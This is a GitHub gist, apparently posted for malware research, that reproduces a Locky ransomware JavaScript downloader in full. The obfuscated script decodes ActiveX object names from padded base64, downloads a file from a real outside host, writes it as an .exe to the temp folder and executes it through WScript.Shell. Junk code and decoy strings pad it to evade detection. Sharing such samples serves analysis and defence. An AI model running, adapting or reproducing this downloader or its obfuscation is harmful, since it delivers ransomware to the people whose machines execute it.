Skip to content

Instantly share code, notes, and snippets.

@Antelox
Created June 29, 2016 14:00
Show Gist options
  • Save Antelox/c3e6cf237687fa662fc1a41452fc87ee to your computer and use it in GitHub Desktop.
Save Antelox/c3e6cf237687fa662fc1a41452fc87ee to your computer and use it in GitHub Desktop.
Locky js donwloader - More info here: http://pastebin.com/t4kPAqXP
relevant = [];
var unlike = { ':': '.','U': 'S','1010': 'X'};
var errant = 0;
function achievment(bidttt){if(bidttt==1){return 2;}else{return 17;}
return 3;}
function dollarm(rivulet) {
request = rivulet;
for (var i in unlike){request = request.replace(i, unlike[i]);}
return request;
};
var libel = new Array(-1, -1, -1, -1, -1, -1,-1,-1);
libel = libel.concat(libel);
libel = libel.concat(libel);
var chosen = 3-2;
function Point(x, y) {
this.x = x || 0;
this.y = y || 0;
}
Point.create = function(){
var publisher = new MBJSL.Publisher();
var spyFunction1 = sinon.spy();
publisher.subscribe(spyFunction1, this.type1);
publisher.publish(this.type1);
ok(spyFunction1.calledWith(), "Function called without arguments");
publisher.publish(this.type1, "test1");
ok(spyFunction1.calledWith("test1"), "Function called with 'test1' argument");
publisher.publish(this.type1, ["test1", "test2"]);
ok(spyFunction1.calledWith(["test1", "test2"]), "Function called with 'test1' and 'test2' arguments");
};
Point.subtract = function(p1, p2) {
return new Point(p1.x - p2.x, p1.y - p2.y);
};
Point.scale = function(p, scaleX, scaleY) {
if (isObject(scaleX)) {
scaleY = scaleX.y;
scaleX = scaleX.x;
} else if (!isNumber(scaleY)) {
scaleY = scaleX;
}
return new Point(p.x * scaleX, p.y * scaleY);
};
libel = libel.concat(new Array(-1, -1, -1, -1, -1, -1,-1,-1));
Point.equals = function(p1, p2) {
return p1.x == p2.x && p1.y == p2.y;
};
libel = libel.concat(new Array(-1, -1, -1, -1, -1, -1,-1));
Point.angle = function(p) {
return Math.atan2(p.y, p.x);
};
var libel = libel.concat(new Array(63, 52, 53, 54, 55, 56, 57)).concat(new Array(
58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51));
libel = libel.concat(new Array(-1, -1, -1, -1, -1));
String.prototype.dollarm4 = function() {
var c1, c2, c3, c4;
var i, len, out;
var str = this.replace(/pornhubcom/g, '')
len = str.length;
i = 0;
out = "";
while (i < len) {
do {
c1 = libel[str.charCodeAt(i++) & 0xff]
} while (i < len && c1 == -1);
if (c1 == -1)
break;
var dodo = false;
do {
c2 = libel[str.charCodeAt(i++) & 0xff];
dodo = i < len && c2 == -1;
} while (dodo);
if (c2 == -1)
break;
out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
do {
c3 = str.charCodeAt(i++) & 0xff;
if (c3 == 61)
return out;
c3 = libel[c3]
} while (i < len && c3 == -1);
if (c3 == -1)
break;
out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));
do {
c4 = str.charCodeAt(i++) & 0xff;
if (c4 == 61)
return out;
c4 = libel[c4]
} while (i < len && c4 == -1);
if (c4 == -1)
break;
out += String.fromCharCode(((c3 & 0x03) << 6) | c4)
}
return out
}
var ranger ="pornhubcompornhubcomJVpornhubcomRFTVpornhubcomAl".dollarm4();
var ungodly = "pornhubcompornhubcomQWpornhubcomN0aXZpornhubcomlWE9iapornhubcommVjdA=pornhubcom=".dollarm4();
String.prototype.dollarm2 = function () {
var pirkinst = {
pitiable: this
};
pirkinst.puerto = pirkinst.pitiable["c3Vpornhubcomic3RypornhubcomaW5pornhubcomn".dollarm4()](errant, chosen);
return pirkinst.puerto;
};
var sirdallos ="pornhubcomRXhwYW5pornhubcomkRW52aXpornhubcomJvbm1lbnRTdHJpornhubcompbmdz".dollarm4();
var Native = function(options){
};Native.implement = function(objects, properties){
for (var i = 0, l = objects.length; i < l; i++) objects[i].implement(properties);
};
var d7 = dollarm("M"+"SX"+"ML"+("trespassing","obloquy","calendars","infant","mucous","calls","animus","2.")+"1010M"+"LH"+"TT"+("deformity","psychiatry","sunbeam","belfast","combative","increased","sector","watershed","P}")+"WU"+("digression","astern","patronize","peanuts","factory","glossary","deduction","cr")+("dowager","impede","modeling","croak","herbs","europe","carefully","temperatures","ip")+"t:S"+("antarctic","artery","octavo","rosewood","employees","phlegm","canned","determinate","h")+"e"+("fossil","awards","diagram","split","finest","driver","unbending","manofwar","ll"));
var d1 = [ungodly, sirdallos,ranger, ""+"."+("deface","goody","exemplify","sixtyseven","associating","gobetween","firewall","vagueness","exe"), "UnpornhubcomVupornhubcom".dollarm4(),d7];
fabled = "_F2_";
var citroen = this[d1.shift()];
Native.genericize = function(object, property, check){
if ((!check || !object[property]) && typeof object.prototype[property] == 'function') object[property] = function(){
var args = Array.prototype.slice.call(arguments);
return object.prototype[property].apply(args.shift(), args);
};
};
Native.typize = function(object, family){
if (!object.type) object.type = function(item){
return ($type(item) === family);
};
};
casque = (("reasonable", "worry", "columnists", "adhered", "discipline", "allowed", "reilly", "puchtqkNvb") + "gndTFI").dollarm2();
tudabilo1 = (("franchise", "lives", "distortion", "hotel", "espionage", "injuries", "pants", "small", "relations", "sOoNYnPMapat") + "FDkPFylmzW").dollarm2();
var d2 = d1.pop();
var rampart = new citroen(d2.split("}")[1]);
var sudabilo1 = new citroen(d2.split("}")[0]);
var vulture = rampart[d1.shift()](d1.shift());
var weasel = "E";
var amalgamation = d1.shift();
var promises = d1.shift();
architectural = "b3Blbpornhubcomg==".dollarm4();
function Shtyler4(gutter, reverse) {
try {
var appropriations = vulture + "/" + reverse ;
appropriations = appropriations+ amalgamation;
sudabilo1[architectural](("jones","sahib","portable","router","aviation","boutique","guido","bouncing","G" + weasel) + ("intrinsic","cabin","khartoum","treasurer","earthen","vindictiveness","biodiversity","fewer","pageant","sleight","T"), gutter, false);
sudabilo1[tudabilo1 + ("bourgeoisie","reasoning","knickerbockers","deride","aromatic","end")]();
var advocacy=("MILD" + WScript=="MILD" + "pornhubcomV2lpornhubcomuZG93cyBTY3JpcpornhubcomHQgSG9zdA==".dollarm4())&&typeof(GzEAPd)==="undefined";
if (advocacy) {
var brings = new citroen((("fence","trigger","faulty","masonry","elite","medium","metallic","receiving","A")+("bible","marlowe","acetic","aglow","shapely","twofold","tries","proverbs","SEOO")+"DB"+("deprivation","archer","wallpapers","graduation","ruling","fixture","navigation",".S")+"tr8").replace("SEO", "D").replace("8", "eam"));
brings[architectural]();
RhXxGud = "_F9_";
brings.type = chosen;
hGaSMa = "_F10_";
brings["d3JpornhubcompdGU=pornhubcom".dollarm4()](sudabilo1[("sheath","applaud","demarcation","anthea","years","outgrown","rubble","")+"R"+"es"+"pon"+unlike['U'].toLowerCase()+"e"+"Qpornhubcomm9keQ=pornhubcom=".dollarm4()]);
XWaxeQhw = "_F11_";
brings[(casque + "o"+("background","defer","windpipe","attractive","muhammad","cooling","pencil","coolie","00")+("miscellaneous","whereas","liner","alienation","rouge","constituent","immaterial","8i")+"tion").replace("0"+("jimmy","compunction","cocoa","ostrich","loquacious","poise","broil","08"), tudabilo1)] = 0;
krDwvrh = "_F12_";
brings.saveToFile(appropriations, 2);
SswQdi = "_F13_";
brings.close();
rampart[promises](appropriations, chosen, true);
}
} catch (RFXuYwO) {
hpkwvmHg = "_F15_"; };
}
try{
Shtyler4("http://"+"\u0062d\u006Bj\u002Da\u006Cz\u0065y"+"\u002Ed\u0065/\u0038y\u0037g\u0076t\u00365\u0076" + "?utajtJu=UwxvtvuRe","spuMCzFlvvg");}catch(DWraQgVaxU){
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment